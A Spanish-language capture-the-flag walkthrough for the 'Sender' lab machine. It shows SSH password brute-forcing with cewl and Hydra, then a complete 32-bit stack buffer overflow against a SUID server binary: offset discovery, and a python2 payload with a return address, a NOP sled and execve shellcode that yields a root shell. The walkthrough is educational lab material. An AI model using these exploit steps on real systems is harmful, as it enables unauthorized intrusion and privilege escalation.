# CTF Sender Intermediate

URL Download CTF = <https://drive.google.com/file/d/1BhCC4I7IJO1Gv7mBTusZDbXl2KfIH1TQ/view?usp=sharing>

### Instalación

Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

```shell
unzip sender.zip
```

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

```shell
bash auto_run.sh sender.tar
```

Info:

```
██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
```

Por lo que cuando terminemos de hackearla, le damos a `Ctrl+C` y nos eliminara la maquina para que no se queden archivos basura.

### Escaneo de puertos

```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```shell
nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-23 06:49 EST
Nmap scan report for 172.17.0.3
Host is up (0.000044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:a8:c9:41:2e:c3:e1:07:64:ed:ee:ae:e6:51:62:47 (ECDSA)
|_  256 8e:0e:15:2f:87:76:09:78:ee:e1:0c:49:18:24:3b:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Sender - La Herramienta de Conexi\xC3\xB3n Definitiva
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds
```

Si nos metemos en la pagina veremos una pagina normal y corriente en el que podemos descargar lo que parece ser una herramienta que esta proporcionando el servidor victima, si nos la descargamos dandole al boton y la intentamos ejecutar...

```shell
chmod +x sender
./sender
```

Info:

```
Uso: ./sender <IP> <PUERTO>
```

Por lo que vemos necesitamos la IP que seria la de la maquina victima, pero el puerto aparentemente todavia no le sabemos, ya que parece ser que se puede enviar algun tipo de informacion a dicho puerto el cual todavia no sabemos, por lo que seguiremos investigando.

## Escalate user alex

### cewl

Si investigamos en la pagina vemos `3` posibles usuarios que estan encima del `footer` que srian los siguientes:

> users.txt

```
juan
marta
alex
```

Por lo que vamos a crearnos un diccionario de usuarios con esos `3` y vamos a generar un diccionario de contraseñas de las palabras que se puedan encontrar en la pagina web de la siguienet forma:

```shell
cewl http://<IP>/ -w dic.txt
```

Info:

```
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
```

Esto nos habra generado un diccionario de palabras de la pagina web, por lo que ahora utilizaremos `hydra` para saber si alguno de los usuarios de la lista tuviera alguna contraseña debil.

### Hydra

```shell
hydra -L users.txt -P dic.txt ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-23 06:57:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 327 login tries (l:3/p:109), ~6 tries per task
[DATA] attacking ssh://172.17.0.3:22/
[22][ssh] host: 172.17.0.3   login: alex   password: emfUa
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-23 06:57:55
```

Por lo que vemos hemos sacados las credenciales del usuario `alex`, por lo que nos conectaremos por `ssh`.

### SSH

```shell
ssh alex@<IP>
```

Metemos como contraseña `emfUa` y estaremos dentro, leeremos la flag del usuario.

> user.txt

```
8d32849a53e71168af4cf5d7d03c8c53
```

## Escalate Privileges

Si listamos los archivos vemos que tenemos un archivo llamado `server` el cual tiene permisos `SUID` y si lo ejecutamos veremos lo siguiente:

```shell
./server
```

Info:

```
Servidor escuchando en el puerto 7777...
```

Por lo que se ve, esta escuchando por el puerto `7777` por lo que ya tenemos un vector de ataque con el otro archivo que nos descargamos anteriormente llamado `sender`, probaremos a ejecutar en nuestro `host` el archivo `sender` pasandole como puerto el `7777` y ver que recibe el `server`:

```shell
./sender <IP> 7777
```

Info:

```
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: test
Datos enviados: test
```

Y ahora si nos vamos a donde estaba escuchando el `server` veremos lo siguiente:

```
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:43062
Datos recibidos: test

Procesado: test
```

Por lo que vemos lo recibe bien, ahora vamos a probar a pasarle muchos caracteres para ver si es vulnerable a un `Buffer Overflow`:

```shell
./sender <IP> 7777
```

Info:

```
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Y ahora si nos vamos a donde estaba escuchando el `server` veremos lo siguiente:

```
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:35152
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault
```

Vemos que si, ya que nos pone `Segmentation fault`, por lo que vamos a realizar `ingenieria inversa` sobre el binario `server`, pero antes si leemos la nota que encontramos en el `/opt` llamada `note.txt` veremos lo siguiente:

```shell
cat /opt/note.txt
```

Info:

```
Alex, we have a problem with the "server" application, several users are reporting to us that it does not work very well when you try to send a message.
very long, cybersecurity people have detected that the "server" application has a vulnerability, correct it right now with "gdb", you have it installed.
```

Por lo que vemos nos confirma que tenemos `gdb` en el servidor victima, por lo que podremos abrir el `gdb` en dicha maquina, pero antes le vamos a pasar una extension para que se nos abra el `gdb` con `pwndbg`.

## Ingenieria inversa (server)

### Instalacion de GDB con PEDA/GDB con pwndbg

Lo que primero tendremos que hacer sera lo siguiente:

```shell
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
```

Y si iniciamos el programa con `GDB` pasandole como parametro el programa, se nos pondra el `gdb-peda`...

```shell
gdb ./command_exec
```

Pero si diera error por las versiones, podremos instalar esta otra herramienta que es mas poderosa:

> host

```shell
git clone https://github.com/pwndbg/pwndbg
```

```shell
zip -r pwndbg.zip pwndbg/
python3 -m http.server
```

> maquina victima

```shell
wget http://<IP>:8000/pwndbg.zip
unzip pwndbg.zip
```

Ahora vamos hacer que el `gdb` se inicie desde el `gdbinit.py`

```shell
nano ~/.gdbinit

#Dentro del nano
source /home/alex/pwndbg/gdbinit.py
```

Lo guardamos y si iniciamos `gdb` veremos lo siguiente:

```shell
gdb -q ./server
```

Info:

```
pwndbg: loaded 176 pwndbg commands and 40 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./server...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in ./server)
------- tip of the day (disable with set show-tips off) -------
Use GDB's dprintf command to print all calls to given function. E.g. dprintf malloc, "malloc(%p)\n", (void*)$rdi will print all malloc calls
pwndbg>
```

### Comprobacion de desbordamiento de Buffer

En el `host`, generamos una cadena de caracteres diseñada para intentar desbordar el `buffer` de la aplicación. Esto se logra con la herramienta `pattern_create.rb`:

```shell
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
```

Info:

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
```

Este patrón se usará como entrada en la aplicación para identificar cómo se maneja el `buffer`.

Ahora llendonos al `GDB` tendremos que ejecutar `run`.

Y en nuestro `host` con el binario `sender` tendremos que enviar todos estos caracteres:

```shell
./sender <IP> 7777
```

Info:

```
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Datos enviados: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
```

Si nos vamos al `gdb` veremos lo siguiente:

```
Starting program: /home/alex/server 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:34782
Datos recibidos: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

Procesado: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A


Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
 EAX  0x19d
 EBX  0x33634132 ('2Ac3')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x87de
 EBP  0x41346341 ('Ac4A')
 ESP  0xffffd2e0 ◂— 0x37634136 ('6Ac7')
 EIP  0x63413563 ('c5Ac')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x63413563










──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 0x37634136 ('6Ac7')
01:0004│     0xffffd2e4 ◂— 0x41386341 ('Ac8A')
02:0008│     0xffffd2e8 ◂— 0x64413963 ('c9Ad')
03:000c│     0xffffd2ec ◂— 0x31644130 ('0Ad1')
04:0010│     0xffffd2f0 ◂— 0x41326441 ('Ad2A')
05:0014│     0xffffd2f4 ◂— 0x64413364 ('d3Ad')
06:0018│     0xffffd2f8 ◂— 0x35644134 ('4Ad5')
07:001c│     0xffffd2fc ◂— 0x41366441 ('Ad6A')
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
 ► 0 0x63413563 None
   1 0x37634136 None
   2 0x41386341 None
   3 0x64413963 None
   4 0x31644130 None
   5 0x41326441 None
   6 0x64413364 None
   7 0x35644134 None
──────────────────────────────────────────────────────────────────────────────
```

Estamos detectando que lo primero la aplicacion es de `32 bits` ya que tiene `EIP` y que identificamos el `EIP` con la siguiente direccion de memoria:

```
0x63413563
```

Por lo que vamos a identificar su `offset`.

### Identificación del Offset

Para determinar el desplazamiento exacto (`offset`) donde ocurre la `sobrescritura`, usamos `pattern_offset.rb`, proporcionando la dirección en hexadecimal obtenida del `EIP`:

```shell
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
```

Info:

```
[*] Exact match at offset 76
```

Esto indica que el `offset` es de `76` bytes.

Por lo que vamos a hacerlo un poco mas automatico con `python2` y enviar comandos de una sola vez, vamos a ver si realmente se llena de `B(42)` el `EIP` de la siguiente forma.

Vamos a poner `run` en el `gdb` para que este a la escucha el `server` y en nuestro `host` pondremos lo siguiente.

```shell
python2 -c 'print b"A"*76 + b"B"*4' | ./sender <IP> 7777
```

Info:

```
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
```

Si ahora nos vamos al `gdb` veremos lo siguiente:

```
Starting program: /home/alex/server 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:41490
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
 EAX  0x5d
 EBX  0x41414141 ('AAAA')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0xa212
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd2e0 —▸ 0xffff000a ◂— 0
 EIP  0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242










──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 —▸ 0xffff000a ◂— 0
01:0004│     0xffffd2e4 —▸ 0xffffd2f4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n'
02:0008│     0xffffd2e8 ◂— 0x200
03:000c│     0xffffd2ec ◂— 0
04:0010│     0xffffd2f0 ◂— 0
05:0014│     0xffffd2f4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n'
... ↓        2 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
 ► 0 0x42424242 None
   1 0xffff000a None
──────────────────────────────────────────────────────────────────────────────
```

Vemos que estamos llenando de forma correcta el `EIP`, por lo que ahora vamos a llenar lo que haya despues del `EIP` para determinar alguna direccion de memoria en la que poder inyectarle un `shell_code`.

### Inyección de código en direccion de memoria

```shell
python2 -c 'print b"A"*76 + b"B"*4 + b"C"*300' | ./sender <IP> 7777
```

Info:

```
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
```

Si nos vamos al `gdb` veremos lo siguiente:

```
Starting program: /home/alex/server 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:33584
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
 EAX  0x189
 EBX  0x41414141 ('AAAA')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x8330
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd2e0 ◂— 0x43434343 ('CCCC')
 EIP  0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242










──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 0x43434343 ('CCCC')
... ↓        7 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
 ► 0 0x42424242 None
   1 0x43434343 None
   2 0x43434343 None
   3 0x43434343 None
   4 0x43434343 None
   5 0x43434343 None
   6 0x43434343 None
   7 0x43434343 None
────────────────────────────────────────────────────────────────────────────
```

Por lo que vemos las `C` se estan poniendo bien, por lo que ahora vamos a ver cuales son las direcciones de memoria en las cuales se estan inyectando esas `C` para coger una la cual en vez de inyectarle una `C` le inyectaremos una `shell`.

```gdb
x/300wx $esp
```

Info:

```
0xffffd2e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd2f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd300:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd310:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd320:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd330:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd340:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd350:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd360:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd370:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd380:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd390:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3a0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3b0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3c0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3d0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd400:     0x43434343      0x43434343      0x43434343      0x4343000a
0xffffd410:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd420:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd430:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd440:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd450:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd460:     0x43434343      0x43434343      0x43434343      0x43434343
```

Vemos que alguna de estas direcciones de memoria es en la que vamos a poder inyectar la `shell` por lo que vamos a elegir una de forma aleatoria que este por el medio, en mi caso elegire la siguiente:

```
0xffffd3b0
```

Ahora vamos a crearnos una `shell` inyectandola en esta direccion de memoria, por lo que nos dara una `shell` como `root` ya que el binario esta con permisos `SUID` y se estaria ejecutando como `root`.

Vamos a salirnos del `gdb` e iniciar el binario `server` de forma normal:

```shell
./server
```

> host

```shell
python2 -c 'print b"A"*76 + b"\xb0\xd3\xff\xff" + b"\x90"*200 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"' | ./sender <IP> 7777
```

> NOTA:

Podremos ver `shell's` en hexadecimal en la siguiente pagina:

URL = [Pagina Shell-Storm](https://shell-storm.org/shellcode/index.html)

Info:

```
Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
                X�Rfh-p��Rjhh/bash/bin��RQS��
```

Y si nos vamos donde teniamos el binario `server` escuchando, veremos que hemos obtenido una shell como el usuario `root`:

```
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:53472
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
                                                                                                                                             X�Rfh-p��Rjhh/bash/bin��RQS��

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j
